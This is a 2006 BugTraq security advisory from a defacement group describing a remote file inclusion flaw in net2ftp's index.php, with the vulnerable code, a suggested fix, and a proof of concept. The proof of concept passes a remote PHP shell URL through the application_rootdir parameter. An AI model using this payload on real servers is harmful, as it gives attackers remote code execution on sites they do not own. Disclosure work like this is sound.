BugTraq
net2ftp: a web based FTP client :) <= Remote File Inclusion Sep 26 2006 11:50PM
stormhacker hotmail com
+--------------------------------------------------------------------

+

+ net2ftp: a web based FTP client :) <= Remote File Inclusion

+

+--------------------------------------------------------------------

+

+ Affected Software .: net2ftp: a web based FTP client

+ Venedor ...........: http://www.net2ftp.com

+ Class .............: Remote File Inclusion

+ Risk ..............: high (Remote File Execution)

+ Found by ..........: rUnViRuS

+ Original advisory .: http://www.wdzone.net/ http://www.worlddefacers.de/

+ Contact ...........: stormhacker[at]hotmail[.]com

+

+--------------------------------------------------------------------

+

+ Code index.php:

+

+ .....

+ equire_once($application_rootdir . "/includes/authorizations.inc.php");

+ require_once($application_rootdir . "/includes/bookmark.inc.php");

+ require_once($application_rootdir . "/includes/browse.inc.php");

+ require_once($application_rootdir . "/includes/database.inc.php");

+ .....

+

+--------------------------------------------------------------------

+

+ $application_rootdir is not properly sanitized before being used.

+ The bug is in the "net2ftp" Package for net2ftp.

+

+--------------------------------------------------------------------

+

+ Solution:

+ Add this line to your php-file:

+

+ $application_rootdir ="user/dir" //Your root path

+

+--------------------------------------------------------------------

+ PoC:

+ Place a PHPShell on a remote location:

+ http://wdzone.net/sh.txt?

+

+

http://[target]/index.php?application_rootdir=http://phpshell

+

+--------------------------------------------------------------------

+ [W]orld [D]efacers [T]eam

+ Greets:

+ || rUnViRuS || - || papipsycho || - || HeX || - || Linux Master || BlackWHITE ||

+ || Pro Hacker ||

+

+-------------------------[ W D T ]----------------------------------

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